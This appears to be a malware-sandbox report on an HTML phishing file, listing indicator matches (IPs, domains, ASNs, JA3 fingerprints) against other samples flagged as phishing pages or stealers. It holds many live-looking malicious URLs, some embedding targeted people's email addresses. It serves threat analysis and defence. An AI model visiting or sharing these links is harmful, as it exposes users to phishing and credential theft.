Detection:	MAL
Classification:	mal100.phis.winHTML@16/23@8/6
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .html

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, SIHClient.exe, SgrmBroker.exe, MoUsoCoreWorker.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 192.178.50.67, 142.250.217.174, 108.177.11.84, 34.104.35.123, 142.250.217.170, 104.21.27.152, 172.67.142.245, 199.232.210.172, 142.250.189.131, 192.178.50.46
Excluded domains from analysis (whitelisted): logincdn.msauth.net, clients1.google.com, fs.microsoft.com, lgincdnmsftuswe2.azureedge.net, accounts.google.com, slscr.update.microsoft.com, ajax.googleapis.com, ctldl.windowsupdate.com, clientservices.googleapis.com, use.fontawesome.com.cdn.cloudflare.net, firstparty-azurefd-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com, clients2.google.com, edgedl.me.gvt1.com, update.googleapis.com, lgincdnmsftuswe2.afd.azureedge.net, clients.l.google.com
HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
13.107.246.41	http://www.surveymonkey.com/tr/v1/te/PUEIZHbYTJGrZEIkVMWlCoicdktJQxDgUh5D5mhe1V5RrTmuIdynx7PnFHXRUx9slMgQjvZdyUWqhr_2Bl49oNXjy3TOleTjKMKR6WbsGcrstlT2syBMlSkW7U5aKlKcBD9NFqJqrxGyODSWJJr6_2BMbXsKkDA_2F0ep4iw23xw6huuM_3D	Get hash	malicious	Unknown	Browse	www.eand.com/en/index.html
	02-11-2024 MVP.html	Get hash	malicious	Unknown	Browse	www.mvphealthcare.com/
	02-11-2024 MVP.html	Get hash	malicious	Unknown	Browse	www.mvphealthcare.com/
	http://y84x.mjt.lu/lnk/CAAABPdweCoAAAAAAAAAAAVG8MwAAAA6pnMAAAAAAAvpOQBlhIO4-ImJ1UImRBC5CNVIkLSaswAL-7Q/2/r-vXj7XjX0azsD7QNKNH-A/aHR0cHM6Ly9hcHBjZW50ZXIubXMvaW52aXRhdGlvbnMvb3JnL2IxNjM2ZDYzMTE0YTM0MjBkYWFmNTg4YTE5N2Y0N2MxNGY4ZDViNWMyM2ZjM2RhYTgxMWM0ODgwOWM1ZTZkNjQ	Get hash	malicious	Unknown	Browse	appcenter.ms/
	http://url7816.acetaxi.com/ls/click?upn=k9eqZnPBEZmPVPka3LxS61O1ksdCJOgznvtiwccqzi2-2BneqvfCXEJ-2FQj-2BZo7snmCwDunBahf2LYhfs7qQp7-2F23xLStq-2BkxJ70xqVvyXzkWM-3D8Cie_z5TGfmB4A65PPE2hDgRdrx6OZsZ3AmrJLHJ0M9ePWeHP5QDTWsAVp117uXam9dNn-2BGSxHeP-2BInRF-2Bgy2v-2FXBPODjmLss6NRV2RYsUYD7um77hgLl0ET9pPGTHF-2BQ1m6-2Fw7-2B-2B9DJOpakZj874YLC8uUep0F7rZMDlM46gmHmQqqAeCV477M0h2b07T2IcXu0hzUcKftN0UG2jhPq8qo00cQl0gvOLl-2BjChyaOdLpENao-3D	Get hash	malicious	Unknown	Browse	twiliosolutions.azurefd.net/
239.255.255.250	https://therufus.org/download.php	Get hash	malicious	Unknown	Browse
	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse
	https://newtipsguide.com	Get hash	malicious	Unknown	Browse
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MDg4MzE4LCJtZXNzYWdlX2lkIjoiMGd4dnAwdGZzeWpiNm4yamRiMDRuYWd5IzcyNWE1YTc5LTgxYzQtNGM0Yy1iNmI1LTdmMTY0MTM2ZTE2NCIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjI0MzE4LCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtLmJyYWRlbnRvbmNjLmluZm8vP2VvdmlldWJyJnFyYz1yZW5lZS5zY2h3YXJ0ekBxci5jb20uYXUiLCJpbmRpdmlkdWFsX2lkIjoiODdiZTY3MTdlZjJmMThjYzI3YmMyMWQ4OTJhY2Q2NzAifQ.iusDS7mld4iiq9DDY82R1MJ9ToHxmMDW3SMbDENZOZQ	Get hash	malicious	HTMLPhisher	Browse
	https://marinatitle.com	Get hash	malicious	Unknown	Browse
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse
	https://ndw5xvotehflt.pages.dev/smart89/	Get hash	malicious	Unknown	Browse
13.107.213.41	Quotation.xls	Get hash	malicious	Unknown	Browse	2s.gg/3zM
13.107.213.41	http://www.serviceadg.com	Get hash	malicious	Unknown	Browse	fr.linkedin.com/company/service-adg

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
part-0013.t-0009.t-msedge.net	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MDg4MzE4LCJtZXNzYWdlX2lkIjoiMGd4dnAwdGZzeWpiNm4yamRiMDRuYWd5IzcyNWE1YTc5LTgxYzQtNGM0Yy1iNmI1LTdmMTY0MTM2ZTE2NCIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjI0MzE4LCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtLmJyYWRlbnRvbmNjLmluZm8vP2VvdmlldWJyJnFyYz1yZW5lZS5zY2h3YXJ0ekBxci5jb20uYXUiLCJpbmRpdmlkdWFsX2lkIjoiODdiZTY3MTdlZjJmMThjYzI3YmMyMWQ4OTJhY2Q2NzAifQ.iusDS7mld4iiq9DDY82R1MJ9ToHxmMDW3SMbDENZOZQ	Get hash	malicious	HTMLPhisher	Browse	13.107.213.41
	https://marinatitle.com	Get hash	malicious	Unknown	Browse	13.107.246.41
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://aulixalrrydrea.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	SecuriteInfo.com.MSExcel.CVE_2017_0199.DDOC.exploit.32374.20351.xlsx	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://j4tpu.bpmsafelink.com/c/0aR4TTLkLUqplUI-2TrhdA	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
UNIFIEDLAYER-AS-1US	https://www.bing.com/ck/a?!&&p=8c604c2d3901cb1eJmltdHM9MTcxMjc5MzYwMCZpZ3VpZD0wODdjNjgyYy00N2ZlLTYyOGQtMzA1ZC03YmVmNDY5NTYzNjUmaW5zaWQ9NTE2MQ&ptn=3&ver=2&hsh=3&fclid=087c682c-47fe-628d-305d-7bef46956365&u=a1aHR0cHM6Ly9rZWljb3NlY3VyaXR5LmNvbS5teC8&ntb=1	Get hash	malicious	Unknown	Browse	192.185.214.24
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/yjyo8q/bWFyaWEud29qY2llY2hvd3NraUBjby5tb25tb3V0aC5uai51cw==	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://web.lehighvalleychamber.org/cwt/external/wcpages/referral.aspx?ReferralType=W&ProfileID=5337&ListingID=4065&CategoryID=74&SubCategoryID=0&url=//sanemedia.ca/owaow/o76fri/enpmZG9tbF9zdXBlcnZpc29yMXN0X2Fzc2lzdGFudEBmZC5vcmc=	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://pub-02d879d6055b4f31b3db7cbbb1499011.r2.dev/%60%60~~~%5D%5D%5D%5D%5D.html#theunis@khk.co.za	Get hash	malicious	HTMLPhisher	Browse	162.241.27.10
	https://content.amanet.org/?m=CiGW.81UwlU3LD6ZH5M4ZoUXv03dAeWfC&r=https://control.mailblaze.com/index.php/survey/ps97367sjy584	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	162.241.114.35
	http://jtmidgett.law/CaptRedr.html	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	https://itniy4gbb.cc.rs6.net/tn.jsp?f=001DpCT81a7BIE926OduG6KmKkwKebSAbUZq28C52DoY-FfQJyM_2Gq3l18V1j7KWwJQTfGlQ_HSq0vC8xqJqFST9z0CwmpWgUieBjKckdJcSODJ_3vu5MzvaSoOGbGY9SjpWQtg9-aAXm1e6VV91z84Q2_wlyDMR98&c=i37ZFF5Dy2QSFqOfb2TVpr5vkMFqaR6DdoQbIhzcRV7G2oFwX8NEvA==&ch=2ErEiCYnoykaXa1uoD0AgTD1vOpSqc6zh3ef32Gb4XR_ut8_qvmzHA==&c=&ch=&__=/mrlZp0zmTKgGvsPpx0JUyCMjGZr4J6/Z2dvbnphbGV6c2FsYXNAc2FuaXRhcy5lcw==	Get hash	malicious	HTMLPhisher	Browse	162.241.120.242
	SecuriteInfo.com.Win32.PWSX-gen.18376.4403.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	50.87.218.140
	SecuriteInfo.com.Win32.PWSX-gen.25877.26069.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	192.185.35.67
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	52.230.18.38
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	52.230.18.38
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MDg4MzE4LCJtZXNzYWdlX2lkIjoiMGd4dnAwdGZzeWpiNm4yamRiMDRuYWd5IzcyNWE1YTc5LTgxYzQtNGM0Yy1iNmI1LTdmMTY0MTM2ZTE2NCIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjI0MzE4LCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtLmJyYWRlbnRvbmNjLmluZm8vP2VvdmlldWJyJnFyYz1yZW5lZS5zY2h3YXJ0ekBxci5jb20uYXUiLCJpbmRpdmlkdWFsX2lkIjoiODdiZTY3MTdlZjJmMThjYzI3YmMyMWQ4OTJhY2Q2NzAifQ.iusDS7mld4iiq9DDY82R1MJ9ToHxmMDW3SMbDENZOZQ	Get hash	malicious	HTMLPhisher	Browse	40.126.7.35
	https://marinatitle.com	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://m7qfa5ng4lp7.blob.core.windows.net/m7qfa5ng4lp7/1.html?4rKpnF7821CfLO43wsacrvmomp962ETPJQJTKIDNZNNV65316UFUY14332V14#14/43-7821/962-65316-14332	Get hash	malicious	Phisher	Browse	20.38.102.196
	https://aulixalrrydrea.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	https://u18727881.ct.sendgrid.net/ls/click?upn=u001.C98xKppRPMcm9u3MCGfzKZoMS1OpBvTt67698T0dL36uvjeaIcwJCGWCF40JX0jTgfIq_7OnzmxzMpUZLpDhO-2FIQbFKADvzXAOcu2Z6qDokXjolLBB1Q9VRzsF9K8mIjVEFl-2BHay6WBbN5WlzpyVSr4HVkHTzvzCtmwku69-2FJZyLx3-2B4ShTXTnPqinKBtOGbSRbSYGRG3Lt22AUmt-2BZ99sH-2B6Jqf0nt-2BFsnaCp0VSm16eoPdzoH74Sn7jINM2DWCxglARpPWuPOE3iiXY03LGL6ko4g-3D-3D	Get hash	malicious	Unknown	Browse	20.64.88.2
MICROSOFT-CORP-MSN-AS-BLOCKUS	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	52.230.18.38
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fwittywebevents.wipro.com%252Femail-analytics%252Fapi%252Ft%252Fl%253FobjId%253D637c92a3e4b00b92caee94cc%26data%3D05%257C02%257Cgary.fabrizio1%2540wipro.com%257Cb8fe953db5914d2bac8108dc65645f6b%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638496729264132835%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C0%257C%257C%257C%26sdata%3DX8fjcrb6FJIv3A6MeNVFttkEvMY37x2gBwDUYM2DULg%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	52.230.18.38
	https://cdp1.tracking.e360.salesforce.com/click?jwt=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ0ZW5hbnRfaWQiOiJhMzYwL3Byb2QvNTBhMGYyODg2ZTg4NDA3Y2I1ODUwYmRjOWQwZGIxZTUiLCJjcmVhdGlvbl90aW1lIjoxNzE0MDg4MzE4LCJtZXNzYWdlX2lkIjoiMGd4dnAwdGZzeWpiNm4yamRiMDRuYWd5IzcyNWE1YTc5LTgxYzQtNGM0Yy1iNmI1LTdmMTY0MTM2ZTE2NCIsImNoYW5uZWxfdHlwZSI6ImVtYWlsIiwiZXhwIjoxNzQ1NjI0MzE4LCJyZWRpcmVjdF91cmwiOiJodHRwczovL3ZtLmJyYWRlbnRvbmNjLmluZm8vP2VvdmlldWJyJnFyYz1yZW5lZS5zY2h3YXJ0ekBxci5jb20uYXUiLCJpbmRpdmlkdWFsX2lkIjoiODdiZTY3MTdlZjJmMThjYzI3YmMyMWQ4OTJhY2Q2NzAifQ.iusDS7mld4iiq9DDY82R1MJ9ToHxmMDW3SMbDENZOZQ	Get hash	malicious	HTMLPhisher	Browse	40.126.7.35
	https://marinatitle.com	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://site-stlp3.powerappsportals.com/	Get hash	malicious	Unknown	Browse	13.107.213.41
	https://m7qfa5ng4lp7.blob.core.windows.net/m7qfa5ng4lp7/1.html?4rKpnF7821CfLO43wsacrvmomp962ETPJQJTKIDNZNNV65316UFUY14332V14#14/43-7821/962-65316-14332	Get hash	malicious	Phisher	Browse	20.38.102.196
	https://aulixalrrydrea.pages.dev/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.41
	https://u18727881.ct.sendgrid.net/ls/click?upn=u001.C98xKppRPMcm9u3MCGfzKZoMS1OpBvTt67698T0dL36uvjeaIcwJCGWCF40JX0jTgfIq_7OnzmxzMpUZLpDhO-2FIQbFKADvzXAOcu2Z6qDokXjolLBB1Q9VRzsF9K8mIjVEFl-2BHay6WBbN5WlzpyVSr4HVkHTzvzCtmwku69-2FJZyLx3-2B4ShTXTnPqinKBtOGbSRbSYGRG3Lt22AUmt-2BZ99sH-2B6Jqf0nt-2BFsnaCp0VSm16eoPdzoH74Sn7jINM2DWCxglARpPWuPOE3iiXY03LGL6ko4g-3D-3D	Get hash	malicious	Unknown	Browse	20.64.88.2

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	https://shorturl.at/lMOT7	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
	https://mcas-proxyweb.mcas.ms/certificate-checker?login=false&originalUrl=https%3A%2F%2Fapc01.safelinks.protection.outlook.com.mcas.ms%2F%3Furl%3Dhttps%253A%252F%252Fmyapps.microsoft.com%252Fsignin%252F08558f59-9161-41fc-88b3-f0434087a79c%253FtenantId%253D258ac4e4-146a-411e-9dc8-79a9e12fd6da%26data%3D05%257C01%257Cgary.fabrizio1%2540Service.wipro.com%257C8a0e1c61209e469846ba08dbe05e2370%257C258ac4e4146a411e9dc879a9e12fd6da%257C0%257C0%257C638350467206547446%257CUnknown%257CTWFpbGZsb3d8eyJWIjoiMC4wLjAwMDAiLCJQIjoiV2luMzIiLCJBTiI6Ik1haWwiLCJXVCI6Mn0%253D%257C3000%257C%257C%257C%26sdata%3Dp0jrjFUb%252Fusi2RID%252FGIlCE82AM9dEDuVAB4PHdDC1%252F4%253D%26reserved%3D0%26McasTsid%3D20893&McasCSRF=a0328b22f805eebb5f9c68ee3df482ea7a84065b3bbced70493927bf9ce1f085	Get hash	malicious	Unknown	Browse	23.34.16.106 40.68.123.157
